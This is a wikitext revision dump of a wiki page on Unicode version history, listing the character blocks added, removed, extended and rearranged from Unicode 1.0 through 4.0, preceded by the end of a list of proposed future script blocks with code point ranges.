* '''''Bopomofo Extended-A''' (U+16FA0-U+16FAF)''
* '''Kanbun Extended-A''' (U+16FB0-U+16FDF)
* '''Khitan Large Script''' (U+19200-U+199FF)
* '''Pau Cin Hau Syllabary''' (U+19E00-U+1A2FF)
* '''Eskaya''' (U+1A300-U+1A75F)
* '''Rejang Extended''' (U+1A760-U+1A77F)
* '''''Kaida''''' (U+1A780-U+1A7FF)
* '''Naxi Dongba''' (U+1A800-U+1ACFF)
* '''''Naxi Geba''' (U+1AD00-U+1AFCF)''
* '''''Kana Extended-C''' (U+1AFD0-U+1AFEF)''
* '''Shuishu Logograms''' (U+1B300-U+1B5FF)
* '''Lisu Syllabic Script''' (U+1B600-U+1B9FF)
* '''Indus''' (U+1BA00-U+1BB8F)
* '''Pitman Shorthand''' (U+1BCB0-U+1BCFF)
* '''Proto-Elamite''' (U+1BE00-U+1C37F)
* '''Linear Elamite''' (U+1C380-U+1C4FF)
* '''Ndiko Jonam''' (U+1CB30-U+1CB7F)
* '''N&lt;nowiki&gt;'&lt;/nowiki&gt;ti''' (U+1CB80-U+1CBAF)
* '''Old Chinese Musical Symbols (Flute and Pipa)''' (U+1D290-U+1D2BF)
* '''''Mathematical Alphanumeric Symbols Supplement''' (U+1D380-U+1D3FF)''
* '''Jianzi Format Controls''' (U+1DAE0-U+1DAFF)
* '''Eebee Hmong''' (U+1E150-U+1E1FF)
* '''Western Cham''' (U+1E200-U+1E26F)
* '''Loma''' (U+1E300-U+1E41F)
* '''Bagam''' (U+1E420-U+1E4CF)
* '''Pungchen''' (U+1E500-U+1E52F)
* '''''Pungchung''' (U+1E530-U+1E55F)''
* '''''Marchung''' (U+1E560-U+1E59F)''
* '''Brusha''' (U+1E5A0-U+1E5CF)
* '''''Chola''' (U+1E600-U+1E65F)''
* '''Box-Headed''' (U+1E660-U+1E6BF)
* '''Lampung''' (U+1E700-U+1E73F)
* '''Kerinci''' (U+1E740-U+1E76F)
* '''Buginese Supplement''' (U+1E770-U+1E7BF)
* '''''Lontara Bilang-Bilang''' (U+1E7C0-U+1E7DF)''
* '''N'Ko Supplement''' (U+1E960-1E97F)
* '''''Byblos''''' (U+1EB90-U+1EBFF)
* '''Persian Siyaq Numbers''' (U+1EC00-U+1EC7F)
* '''Diwani Siyaq Numbers''' (U+1ECC0-U+1ECFF)
* '''''Extended Pictographic Characters''' (U+1FC00-U+1FFFF)''

== References ==
{{reflist}}</text>
      <sha1>2fkn1akyqkcaejmij53f7zus9ewh7t8</sha1>
    </revision>
    <revision>
      <id>4670556</id>
      <parentid>4670538</parentid>
      <timestamp>2026-09-17T02:15:54Z</timestamp>
      <contributor>
        <username>Alexlatham96</username>
        <id>377450</id>
      </contributor>
      <comment>these were done in 1.1, not 1.0.1- the 1.1 draft from December 1991 doesn't even have these changes!</comment>
      <origin>4670556</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="134664" sha1="b5yg24qhj0hv5i9qoodkratwwk5ug2a" xml:space="preserve">{{pp-protected|small=yes}}
{{Unicode page}}
{{TOC right}}
{{refimprove|date=June 2017}}
This page is about each version specification, and the differences between the versions.

== Unicode 1.0 ==

Unicode 1.0 was the first version of Unicode, released October 1991. It encoded 7,094 new characters.

=== “Blocks” ===
This version of Unicode did not formally group characters in blocks. But in comparison with version 2.0, the following “blocks” were available:
U+0000-U+FFFD
51 Blocks
* '''Basic Latin (formerly called ASCII)''' (U+0000-U+007F), containing 128 characters.
* '''Latin-1 Supplement (formerly called Latin1)'''  (U+0080-U+00FF), containing 128 characters.
* '''Latin Extended-A''' '''(formerly called European Latin)''' (U+0100-U+017F), containing 127 characters.
* '''Latin Extended-B''' '''(formerly called Extended Latin)''' (U+0180-U+01FF), containing 113 characters.
* '''IPA Extensions''' '''(formerly called Standard Phonetic)''' (U+0250-U+02AF), containing 89 characters.
* '''Spacing Modifier Letters''' '''(formerly called Modifier Letters)''' (U+02B0-U+02FF), containing 57 characters.
* '''Combining Diacritical Marks''' '''(formerly called Generic Diacritical Marks)''' (U+0300-U+036F), containing 66 characters.
* '''Greek and Coptic''' '''(formerly called Greek)''' (U+0370-U+03FF), containing 112 characters.
* '''Cyrillic''' (U+0400-U+04FF), containing 192 characters.
* '''Armenian''' (U+0530-U+058F), containing 84 characters.
* '''Hebrew''' (U+0590-U+05FF), containing 52 characters.
* '''Arabic''' (U+0600-U+06FF), containing 169 characters.
* '''Devanagari''' (U+0900-U+097F), containing 104 characters.
* '''Bengali''' (U+0980-U+09FF), containing 89 characters.
* '''Gurmukhi''' (U+0A00-U+0A7F), containing 74 characters.
* '''Gujarati''' (U+0A80-U+0AFF), containing 75 characters.
* '''Oriya''' (U+0B00-U+0B7F), containing 78 characters.
* '''Tamil''' (U+0B80-U+0BFF), containing 61 characters.
* '''Telugu''' (U+0C00-U+0C7F), containing 80 characters.
* '''Kannada''' (U+0C80-U+0CFF), containing 80 characters.
* '''Malayalam''' (U+0D00-U+0D7F), containing 78 characters.
* '''Thai''' (U+0E00-U+0E7F), containing 92 characters.
* '''Lao''' (U+0E80-U+0EFF), containing 70 characters.
* '''Tibetan''' (U+1000-U+105F), containing 71 characters.
* '''Georgian''' (U+10A0-U+10FF), containing 78 characters.
* '''General Punctuation''' (U+2000-U+206F), containing 67 characters.
* '''Superscripts and Subscripts''' (U+2070-U+209F), containing 28 characters.
* '''Currency Symbols''' (U+20A0-U+20CF), containing 11 characters.
* '''Combining Marks for Symbols''' '''(formerly called Diacritical Marks for Symbols)''' (U+20D0-U+20FF), containing 18 characters.
* '''Letterlike Symbols''' (U+2100-U+214F), containing 57 characters.
* '''Number Forms''' (U+2150-U+218F), containing 48 characters.
* '''Arrows''' (U+2190-U+21FF), containing 91 characters.
* '''Mathematical Operators''' (U+2200-U+22FF), containing 242 characters.
* '''Miscellaneous Technical''' (U+2300-U+23FF), containing 43 characters.
* '''Control Pictures''' '''(formerly called Pictures for Control Codes)''' (U+2400-U+243F), containing 37 characters.
* '''Optical Character Recognition''' (U+2440-U+245F), containing 11 characters.
* '''Enclosed Alphanumerics''' (U+2460-U+24FF), containing 139 characters.
* '''Box Drawing''' '''(formerly called Form and Chart Components)''' (U+2500-U+257F), containing 128 characters.
* '''Block Elements''' '''(formerly called Blocks)''' (U+2580-U+259F), containing 22 characters.
* '''Geometric Shapes''' (U+25A0-U+25FF), containing 79 characters.
* '''Miscellaneous Symbols''' '''(formerly called Miscellaneous Dingbats)''' (U+2600-U+26FF), containing 106 characters.
* '''Dingbats''' '''(formerly called Zapf Dingbats)''' (U+2700-U+27BF), containing 160 characters.
* '''CJK Symbols and Punctuation''' (U+3000-U+303F), containing 56 characters.
* '''Hiragana''' (U+3040-U+309F), containing 90 characters.
* '''Katakana''' (U+30A0-U+30FF), containing 90 characters.
* '''Bopomofo''' (U+3100-U+312F), containing 40 characters.
* '''Hangul Compatibility Jamo (formerly called Hangul Elements)''' (U+3130-U+318F), containing 94 characters.
* '''Kanbun (formerly called CJK Miscellaneous)''' (U+3190-U+31FF), containing 16 characters.
* '''Enclosed CJK Letters and Months''' '''(formerly called''' '''Enclosed CJK Letters and Ideographs)''' (U+3200-U+32FF), containing 191 characters.
* '''CJK Compatibility''' '''(formerly called CJK Squared Words for U+3300-U+337F and CJK Squared Abbreviations for U+3380-33FF)''' (U+3300-U+33FF), containing 187 characters.
* '''Hangul''' (U+3400-U+3D2D), containing 2,350 characters.
* '''Private Use Area''' (U+E000-U+FDFF), reserved for 5,632 characters.
* '''CJK Compatibility Forms''' '''(formerly called CNS 11643 Compatibility)''' (U+FE30-U+FE4F), containing 28 characters.
* '''Small Form Variants''' '''(formerly called Small Variants)''' (U+FE50-U+FE6F), containing 26 characters.
* '''Arabic Presentation Forms-B''' '''(formerly called Basic Glyphs for Arabic Language)''' (U+FE70-U+FEFF), containing 140 characters.
* '''Halfwidth and Fullwidth Forms''' '''(formerly called Halfwidth and Fullwidth Variants)''' (U+FF00-U+FFEF), containing 216 characters.
* '''Specials''' '''(formerly called Special)''' (U+FFF0-U+FFFF), containing 1 character.

== Unicode 1.0.1 ==
Unicode 1.0.1 was released June 1992. It encoded 28,292 characters, adding 21,204 new characters and removing 6 characters, for a net increase of 21,198 characters.

=== New blocks ===

* '''CJK Unified Ideographs''' (U+4E00-U+9FFF), containing 20,902 Han Ideographs for Chinese, Japanese and Korean, was added.
* '''CJK Compatibility Ideographs''' (U+F900-U+FAFF), containing 302 Han Ideographs for compatibility with existing character sets, was added.

=== Removed characters ===
* Letters Ka and Kha with Ogonek (total 4 characters) were removed from '''Cyrillic'''. (U+04C5-U+04C6 and U+04C9-U+04CA)
* APL Compose Operator and APL Out (total 2 characters) were removed from '''Miscellaneous Technical'''. (U+2300-U+2301)

=== Rearranged characters ===
*'''Basic Glyphs For Arabic Language:''' ''The character shapes will be arranged in different order: Isolate, Final, Initial and Medial'' (U+FE80-FEFC)

== Unicode 1.1 ==

Unicode 1.1 was released June 1993. It encoded 34,168 characters, adding 5,969 new characters and removing 93 characters, for a net increase of 5,876 characters. It finalized the long anticipated Han Unification.

=== New blocks ===

* '''Hangul Jamo''' (U+1100-U+11FF), containing 240 ''jamo'' for the Hangul script, was added.
* '''Latin Extended Additional''' (U+1E00-U+1EFF), containing 245 precomposed characters for transliteration and Vietnamese, was added.
* '''Greek Extended''' (U+1F00-U+1FFF), containing 233 precomposed characters for polytonic Greek, was added.
* '''Hangul Supplementary-A''' (U+3D2E-U+44B7), containing 1,930 precomposed syllables for the Hangul script, was added.
* '''Hangul Supplementary-B''' (U+44B8-U+4DFF), containing 2,376 precomposed syllables for the Hangul script, was added.
* '''Alphabetic Presentation Forms''' (U+FB00-U+FB4F), containing 57 precomposed characters and ligatures, was added.
* '''Arabic Presentation Forms-A''' (U+FB50-U+FDFF), containing 593 combinations of Arabic letters, was added.
* '''Combining Half Marks''' (U+FE20-U+FE2F), containing 4 halves of diacritical marks, was added.

=== Extended blocks ===

* The long S (ſ) (total 1 character) was added to '''Latin Extended-A'''. (U+017F)
* The Hungarian Dz, characters for transliteration purposes and precomposed characters with double grave and inverted breve (total 35 characters) were added to '''Latin Extended-B''' (U+01F1-U+01F5 and U+01FA-U+0217). The block was expanded from (U+0180-U+01FF) to (U+0180-U+024F)
* Diacritics for polytonic Greek and double width diacritics (total 6 characters) were added to '''Combining Diacritical Marks'''. (U+0342-U+0345 and U+0360-U+0361)
* Compatibility character now deprecated, Ano Teleia, and other characters (total 5 characters) were added to '''Greek and Coptic''' (U+0374-U+0375, U+037A, U+037E and U+0387).
* Additional characters for non-Slavic languages (total 38 characters) were added to '''Cyrillic'''. (U+04D0-U+04EB, U+04EE-U+04F5 and U+04F8-U+04F9)
* A ligature of Ech and Yiwn (և) (total 1 character) was added to '''Armenian'''. (U+0587)
* One deprecated compatibility character and several characters for biblical texts (total 25 characters) were added to '''Arabic'''. (U+066D and U+06D6-U+06ED)
* A sign Virama (total 1 character) was added to '''Gurmukhi''' (U+0A4D).
* Letters Candra O and E (total 3 characters) were added to '''Gujarati'''. (U+0A8D, U+0A91 and U+0AC9)
* An Ai Length mark (total 1 character) was added to '''Oriya'''. (U+0B56)
* An undertie, a pair of brackets and six formatting characters now deprecated (total 9 characters) were added to '''General Punctuation'''. (U+203F, U+2045-U+2046 and U+206A-U+206F)
* Some additional symbols and the complete set of APL functional symbols (total 79 characters) were added to '''Miscellaneous Technical'''. (U+2300 and U+232D-U+237A)
* A large circle (◯) (total 1 character) was added to '''Geometric Shapes'''. (U+25EF)
* The ideographic telegraph line feed separator symbol (〷) (total 1 character) was added to '''CJK Symbols and Punctuation'''. (U+3037)
* Four Katakana letters not in use since 1945 (total 4 characters) were added to '''Katakana'''. (U+30F7-U+30FA)
* Ideographic telegraph symbols for the twelve months (total 12 characters) were added to '''Enclosed CJK Letters and Months'''. (U+32C0-U+32CB)
* Ideographic telegraph symbols for hours and days and six additional measure units (total 62 characters) were added to '''CJK Compatibility'''. (U+3358-U+3376 and U+33E0-U+33FE)
* Some more space (total 2,304 characters) was added to the '''Private Use Area'''.
* Seven halfwidth geometric shapes (total 7 characters) were added to '''Halfwidth and Fullwidth Forms'''. (U+FFE8-U+FFEE)

=== Removed blocks ===
* '''Tibetan''', containing 71 letters for the Tibetan script, was removed from the Unicode standard.

=== Removed characters ===
* A total of 10 characters were removed from '''Greek and Coptic'''. (U+0370-U+0372, U+03D7-U+03D9, U+03DB, U+03DD, U+03DF, and U+03E1)
* Point Varika (total 1 character) was removed from '''Hebrew'''. (U+05F5)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Thai'''. (U+0E70-U+0E74)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Lao'''. (U+0EF0-U+0EF4)
* An Ideographic Ditto Mark (total 1 character) was removed from '''CJK Symbols and Punctuation''' (U+3004) and merged with CJK Unified Ideograph-4EDD.

=== Rearranged characters ===
* Greek character U+03F3 was changed from Spacing Tonos to Letter Yot.
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)
*'''Circled Katakana:''' ''The characters will be arranged in modern order: e.g., A, I, U, E, O, KA, KI'' (U+32D0-U+32FE)

== Unicode 2.0 ==

Unicode 2.0 was released July 1996. It encoded 38,885 characters, adding 11,373 new characters and removing 6,656 characters, for a net increase of 4,717 characters. This was the first Unicode version to reserve blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Hangul Syllables''' (U+AC00-U+D7AF), containing 11,172 precomposed syllables for the Hangul script, was added.
* '''High Surrogates''' (U+D800-U+DB7F), setting aside 896 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''High Private Use Surrogates''' (U+DB80-U+DBFF), setting aside 128 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Low Surrogates''' (U+DC00-U+DFFF), setting aside 1,024 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Supplementary Private Use Area-A''' (U+F0000-U+FFFFF), reserving 65,534 characters for private use, was added.
* '''Supplementary Private Use Area-B''' (U+100000-U+10FFFF), reserving 65,534 characters for private use, was added.

=== Reinstated blocks ===

* '''Tibetan''' (U+0F00-U+0FFF), now containing 168 characters for the Tibetan script including religious signs, was readded.

=== Removed blocks ===

* '''Hangul''', containing 2,350 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-A''', containing 1,930 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-B''', containing 2,376 precomposed syllables for the Hangul script, was removed from the Unicode standard.

=== Extended blocks ===

* Cantillation marks for use in religious texts (total 31 characters) were added to '''Hebrew'''. (U+0591-U+05A1, U+05A3-U+05AF and U+05C4)
* A long S with Dot Above (total 1 character) was added to '''Latin Extended Additional'''. (U+1E9B)
* A Vietnamese Dong sign (total 1 character) was added to '''Currency Symbols'''. (U+20AB)

== Unicode 2.1 ==

Unicode 2.1 was released May 1998. It encoded 38,887 characters, adding only 2 new characters.

=== Extended blocks ===

* A Euro sign (total 1 character) was added to '''Currency Symbols'''. (U+20AC)
* An Object Replacement Character (total 1 character) was added to '''Specials'''. (U+FFFC)

== Unicode 3.0 ==

Unicode 3.0 was released September 1999. It was a big update and encoded 49,194 characters, adding 10,307 new characters.

=== New blocks ===

* '''Syriac''' (U+0700-U+074F), containing 71 characters used for writing in Syriac script, was added.
* '''Thaana''' (U+0780-U+07BF), containing 49 characters used for writing in Thaana script, was added.
* '''Sinhala''' (U+0D80-U+0DFF), containing 80 characters for the Sinhala script, was added.
* '''Myanmar''' (U+1000-U+109F), containing 78 characters for the Burmese script, was added.
* '''Ethiopic''' (U+1200-U+137F), containing 345 syllables and punctuation marks for the Ethiopic script, was added.
* '''Cherokee''' (U+13A0-U+13FF), containing 85 syllables for the Cherokee script, was added.
* '''Unified Canadian Aboriginal Syllabics''' (U+1400-U+167F), containing 630 syllables and punctuation marks for writing in indigenous languages of Canada, was added.
* '''Ogham''' (U+1680-U+169F), containing 29 characters for the ancient Ogham script, was added.
* '''Runic''' (U+16A0-U+16FF), containing 81 characters for the Germanic runes, was added.
* '''Khmer''' (U+1780-U+17FF), containing 103 characters for the Khmer script, was added.
* '''Mongolian''' (U+1800-U+18AF), containing 155 characters for the classical Mongolian script, was added.
* '''Braille Patterns''' (U+2800-U+28FF), containing 256 Braille letters, was added.
* '''CJK Radicals Supplement''' (U+2E80-U+2EFF), containing 115 non-Kangxi radicals, was added.
* '''Kangxi Radicals''' (U+2F00-U+2FDF), containing 214 radicals from the Kangxi dictionary, was added.
* '''Ideographic Description Characters''' (U+2FF0-U+2FFF), containing 12 characters used to describe a Han ideograph not available in the font, was added.
* '''Bopomofo Extended''' (U+31A0-U+31BF), containing 24 characters used for phonetic transcription of minority languages of Taiwan, was added.
* '''CJK Unified Ideographs Extension A''' (U+3400-U+4DBF), containing 6,582 additional Han Ideographs, was added.
* '''Yi Syllables''' (U+A000-U+A48F), containing 1,165 syllables of the modern Yi script, was added.
* '''Yi Radicals''' (U+A490-U+A4CF), containing 50 radicals of Yi Syllables, was added.

=== Extended blocks ===

* Additional precomposed characters, letters and capital letters of lowercase-only letters (total 30 characters) were added to '''Latin Extended-B'''. (U+01F6-U+01F9, U+0218-U+021F and U+0222-U+0233)
* Extensions for disordered speech (total 5 characters) were added to '''IPA Extensions'''. (U+02A9-U+02AD)
* Some additional modifier letters (total 6 characters) were added to '''Spacing Modifier Letters'''. (U+02DF and U+02EA-U+02EE)
* Additional combining diacritics for IPA (total 10 characters) were added to '''Combining Diacritical Marks'''. (U+0346-U+034E and U+0362)
* Lowercase versions of archaic letters and the Kai symbol (total 5 characters) were added to '''Greek and Coptic'''. (U+03D7, U+03DB, U+03DD, U+03DF and U+03E1)
* Nonstandard letters for Macedonian, combining numeral signs and three letters for Kildin Sami (total 12 characters) were added to '''Cyrillic'''. (U+0400, U+040D, U+0450, U+045D, U+0488-U+0489, U+048C-U+048F and U+04EC-U+04ED)
* A Hyphen (total 1 character) was added to '''Armenian'''. (U+058A)
* Combining hamza and maddah and nine additional Arabic characters (total 12 characters) were added to '''Arabic'''. (U+0653-U+0655, U+06B8-U+06B9, U+06BF, U+06CF and U+06FA-U+06FE)
* Additional letters and religious symbols (total 25 characters) were added to '''Tibetan'''. (U+0F6A, U+0F96, U+0FAE-U+0FB0, U+0FB8, U+0FBA-U+0FBC, U+0FBE-U+0FCC and U+0FCF)
* A narrow no-break space and 6 additional punctuation marks (total 7 characters) were added to '''General Punctuation'''. (U+202F and U+2048-U+204D)
* The Kip, Tugrik and Drachma sign (total 3 characters) were added to '''Currency Symbols'''. (U+20AD-U+20AF)
* An enclosing screen and an enclosing key (total 2 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E2-U+20E3)
* The information symbol and a rotated Q (total 2 characters) were added to '''Letterlike Symbols'''. (U+2139-U+213A)
* A mirrored Roman capital numeral hundred (Ↄ) (total 1 character) was added to '''Number Forms'''. (U+2183)
* Some additional arrows (total 9 characters) were added to '''Arrows'''. (U+21EB-U+21F3)
* Some additional technical symbols, including common keys on a 101 keyboard (total 33 characters) were added to '''Miscellaneous Technical'''. (U+2301, U+237B and U+237D-U+239A)
* Two additional control pictures (total 2 characters) were added to '''Control Pictures'''. (U+2425-U+2426)
* Squares and circles with quadrants (total 8 characters) were added to '''Geometric Shapes'''. (U+25F0-U+25F7)
* Two Syriac crosses and a signature mark (total 3 characters) were added to '''Miscellaneous Symbols'''. (U+2619 and U+2670-U+2671)
* Three Hangzhou numerals and a variation indicator (total 4 characters) were added to '''CJK Symbols and Punctuation'''. (U+3038-U+303A and U+303E)
* A ligature Yod with Hiriq (יִ) (total 1 character) was added to '''Alphabetic Presentation Forms'''. (U+FB1D)
* Three additional control characters for ruby markup (total 3 characters) were added to '''Specials'''. (U+FFF9-U+FFFB)

== Unicode 3.1 ==

Unicode 3.1 was released March 2001. It encoded 94,140 characters, adding 44,946 new characters, and mainly focused on blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Old Italic''' (U+10300-U+1032F), containing 35 letters for the Etruscan script, was added.
* '''Gothic''' (U+10330-U+1034F), containing 27 letters for the Gothic script, was added.
* '''Deseret''' (U+10400-U+1044F), containing 76 letters for the constructed Deseret script, was added.
* '''Byzantine Musical Symbols''' (U+1D000-U+1D0FF), containing 246 symbols for musical notation in Byzantine, was added.
* '''Musical Symbols''' (U+1D100-U+1D1FF), containing 219 characters for current musical notation, was added.
* '''Mathematical Alphanumeric Symbols''' (U+1D400-U+1D7FF), containing 991 Latin and Greek letters in serif, sans-serif, bold, italic, double-struck, script and Fraktur/Blackletter, was added.
* '''CJK Unified Ideographs Extension B''' (U+20000-U+2A6DF), containing 42,711 additional Chinese Ideographs, was added.
* '''CJK Compatibility Ideographs Supplement''' (U+2F800-U+2FA1F), containing 542 additional Chinese Ideographs for compatibility purposes, was added.
* '''Tags''', containing 97 language tags, was added. (U+E0000-U+E007F)

=== Extended noncharacters ===

* The Noncharacters range: U+FDD0..U+FDEF were added to '''Arabic Presentation Forms-A'''.

=== Extended blocks ===

* The capital Theta symbol and the Lunate Epsilon symbol (total 2 characters) were added to '''Greek and Coptic'''. (U+03F4-U+03F5)

=== Characters and Scripts Under Investigation or Rejected ===
* Khmer Sign Laak Was Rejected. (U+17DD) From '''Khmer.'''
* Georgian Letter U-Brjuu Was Rejected. From '''Georgian.'''

== Unicode 3.2 ==

Unicode 3.2 was released March 2002. It encoded 95,156 characters, adding 1,016 new characters.

=== New blocks ===

* '''Cyrillic Supplementary (now Cyrillic Supplement)''' (U+0500-U+052F), containing 16 characters used for the Komi language, was added.
* '''Tagalog''' (U+1700-U+171F), containing 20 characters for the Baybayin script, was added.
* '''Hanunoo''' (U+1720-U+173F), containing 23 characters and punctuation for the Hanunó'o script, was added.
* '''Buhid''' (U+1740-U+175F), containing 20 characters for the Buhid script, was added.
* '''Tagbanwa''' (U+1760-U+177F), containing 18 characters for the Tagbanwa script, was added.
* '''Miscellaneous Mathematical Symbols-A''' (U+27C0-U+27EF), containing 28 symbols used in math notation, was added.
* '''Supplemental Arrows-A''' (U+27F0-U+27FF), containing 16 additional arrows, was added.
* '''Supplemental Arrows-B''' (U+2900-U+297F), containing 128 special arrows, was added.
* '''Miscellaneous Mathematical Symbols-B''' (U+2980-U+29FF), containing 128 additional mathematical symbols, was added.
* '''Supplemental Mathematical Operators''' (U+2A00-U+2AFF), containing 256 additional mathematical operators, was added.
* '''Katakana Phonetic Extensions''' (U+31F0-U+31FF), containing 16 Katakana letters used for Ainu, was added.
* '''Variation Selectors''' (U+FE00-U+FE0F), containing 16 symbols used for indicating variations, was added.

=== Extended blocks ===

* A capital letter N with Long Right Leg (total 1 character) was added to '''Latin Extended-B'''. (U+0220)
* The combining grapheme joiner and combining Latin letters used in medieval texts (total 14 characters) were added to '''Combining Diacritical Marks'''. (U+034F and U+0363-U+036F)
* The Qoppa and a reversed lunate epsilon symbol (total 3 characters) were added to '''Greek and Coptic'''. (U+03D8-U+03D9 and U+03F6)
* Four additional letters used for the Kildin Sami language (total 8 characters) were added to '''Cyrillic'''. (U+048A-U+048B, U+04C5-U+04C6, U+04C9-U+04CA and U+04CD-U+04CE)
* A dotless Beh and a dotless Qaf (total 2 characters) were added to '''Arabic'''. (U+066E-U+066F)
* A Letter for Addu dialect (total 1 character) was added to '''Thaana'''. (U+07B1)
* The letters Yn and Elifi (total 2 characters) were added to '''Georgian'''. (U+10F7-U+10F8)
* Some additional punctuation marks and control characters (total 12 characters) were added to '''General Punctuation'''. (U+2047, U+204E-U+2052, U+2057 and U+205F-U+2063)
* A superscript letter I (total 1 character) was added to '''Superscripts and Subscripts'''. (U+2071)
* German Penny and Peso sign (total 2 characters) were added to '''Currency Symbols'''. (U+20B0-U+20B1)
* Some additional combining characters (total 7 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E4-U+20EA)
* Some double-struck and reversed/turned letters (total 15 characters) were added to '''Letterlike Symbols'''. (U+213D-U+214B)
* Some additional arrows (total 12 characters) were added to '''Arrows'''. (U+21F4-U+21FF)
* Some additional mathematical operators (total 14 characters) were added to '''Mathematical Operators'''. (U+22F2-U+22FF)
* Variable-width and additional symbols (total 53 characters) were added to '''Miscellaneous Technical'''. (U+237C and U+239B-U+23CE)
* Black and double circled numerals (total 20 characters) were added to '''Enclosed Alphanumerics'''. U+24EB-U+24FE)
* Quadrant elements (total 10 characters) were added to '''Block Elements'''. (U+2596-U+259F)
* Some additional triangles and squares (total 8 characters) were added to '''Geometric Shapes'''. (U+25F8-U+25FF)
* Shogi pieces ,recycling symbols, dices and dotted circles (total 24 characters) were added to '''Miscellaneous Symbols'''. (U+2616-U+2617, U+2672-U+267D and U+2680-U+2689)
* Additional parenthesis (total 14 characters) were added to '''Dingbats'''. (U+2768-U+2775)
* Three additional marks (total 3 characters) were added to '''CJK Symbols and Punctuation'''. (U+303B-U+303D)
* A digraph and two additional characters (total 3 characters) were added to '''Hiragana'''. (U+3095-U+3096 and U+309F)
* A digraph and a double hyphen (total 2 characters) were added to '''Katakana'''. (U+30A0 and U+30FF)
* Additional circled numerals (total 30 characters) were added to '''Enclosed CJK Letters and Months'''. (U+3251-U+325F and U+32B1-U+32BF
* Five missing radicals (total 5 characters) were added to '''Yi Radicals'''. (U+A4A2-U+A4A3, U+A4B4, U+A4C1, U+A4C5)
* Additional compatibility characters (total 59 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA30-U+FA6A)
* A Rial sign (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFC)
* Two sesame dots (total 2 characters) were added to '''CJK Compatibility Forms'''. (U+FE45-U+FE46)
* A tail fragment (total 1 character) was added to '''Arabic Presentation Forms-B'''. (U+FE73)
* A pair of double parenthesis (total 2 characters) was added to '''Halfwidth and Fullwidth Forms'''. (U+FF5F-U+FF60)

== Unicode 4.0 ==

Unicode 4.0 was released April 2003. It encoded 96,382 characters, adding 1,226 new characters.

=== New blocks ===

* '''Limbu''' (U+1900-U+194F), containing 66 characters for the Limbu abugida, was added.
* '''Tai Le''' (U+1950-U+197F), containing 35 letters for the Tai Le script, was added.
* '''Khmer Symbols''' (U+19E0-U+19FF), containing 32 symbols for the lunar calendar, was added.
* '''Phonetic Extensions''' (U+1D00-U+1D7F), containing 108 letters used in phonetic transcription, was added.
* '''Miscellaneous Symbols and Arrows''' (U+2B00-U+2BFF), containing 14 additional arrows, was added.
* '''Yijing Hexagram Symbols''' (U+4DC0-U+4DFF), containing 64 hexagrams, was added.
* '''Linear B Syllabary''' (U+10000-U+1007F), containing 88 syllables of the ancient Linear B script, was added.
* '''Linear B Ideograms''' (U+10080-U+100FF), containing 123 ideograms of the ancient Linear B script, was added.
* '''Aegean Numbers''' (U+10100-U+1013F), containing 57 numerals used in the Aegean area, was added.
* '''Ugaritic''' (U+10380-U+1039F), containing 31 characters used in Ugaritic cuneiform, was added.
* '''Shavian''' (U+10450-U+1047F), containing 48 letters used for the artificial Shavian script, was added.
* '''Osmanya''' (U+10480-U+104AF), containing 40 characters used in the artificial Osmanya script, was added.
* '''Cypriot Syllabary''' (U+10800-U+1083F), containing 55 characters formerly used on Cyprus, was added.
* '''Tai Xuan Jing Symbols''' (U+1D300-U+1D35F), containing 87 symbols of Tai Xuan Jing, was added.
* '''Variation Selectors Supplement''' (U+E0100-U+E01EF), containing 240 additional variation selectors, was added.

=== Extended blocks ===

* Letters with curl used in Sinology (total 4 characters) were added to '''Latin Extended-B'''. (U+0221 and U+0234-U+0236)
* Former IPA letters (total 2 characters) were added to '''IPA Extensions'''. (U+02AE-U+02AF)
* Some additional characters (total 17 characters) were added to '''Spacing Modifier Letters'''. (U+02EF-U+02FF)
* Additional combining double-width diacritics and diacritics corresponding to their spacing equivalent (total 11 characters) were added to '''Combining Diacritical Marks'''. (U+0350-U+0357 and U+035D-U+035F)
* The archaic letters Sho and San and the capital Lunate Sigma (total 5 characters) were added to '''Greek and Coptic'''. (U+03F7-U+03FB)
* Some additional markers, biblical signs, and letters with inverted V (total 19 characters) were added to '''Arabic'''. (U+0600-U+0603, U+060D-U+0615, U+0656-U+0658, U+06EE-U+06EF and U+06FF)
* Letters used for foreign words from Persian and Sogdian (total 6 characters) were added to '''Syriac'''. (U+072D-U+072F and U+074D-U+074F)
* The short A (ऄ) (total 1 character) was added to '''Devanagari'''. (U+0904)
* The Avagraha sign (ঽ) (total 1 character) was added to '''Bengali'''. (U+09BD)
* The Adak Bindi and Visarga signs (total 2 characters) were added to '''Gurmukhi'''. (U+0A01 and U+0A03)
* The vocalic l and ll and the Rupee sign (total 5 characters) were added to '''Gujarati'''. (U+0A8C and U+0AF1-U+0AF3)
* The letters Va and Wa (total 2 characters) were added to '''Oriya'''. (U+0B35 and U+0B71)
* Additional signs for date and finance environments (total 8 characters) were added to '''Tamil'''. (U+0BF3-U+0BFA)
* The Nukta and Avagraha signs (total 2 characters) were added to '''Kannada'''. (U+0CBC-U+0CBD)
* Some symbols and signs (total 11 characters) were added to '''Khmer'''. (U+17DD and U+17F0-U+17F9)
* An inverted undertie and a swung dash (total 2 characters) were added to '''General Punctuation'''. (U+2053-U+2054)
* The facsimile sign (℻) (total 1 character) was added to '''Letterlike Symbols'''. (U+213B)
* The eject symbol and a vertical line (total 2 characters) were added to '''Miscellaneous Technical'''. (U+23CF-U+23D0)
* A black circled digit zero (⓿) (total 1 character) was added to '''Enclosed Alphanumerics'''. (U+24FF)
* Monograms and diagrams, flags, warning and weather symbols and a cup of tea (total 12 characters) were added to '''Miscellaneous Symbols'''. (U+2614-U+2615, U+268A-U+2691 and U+26A0-U+26A1)
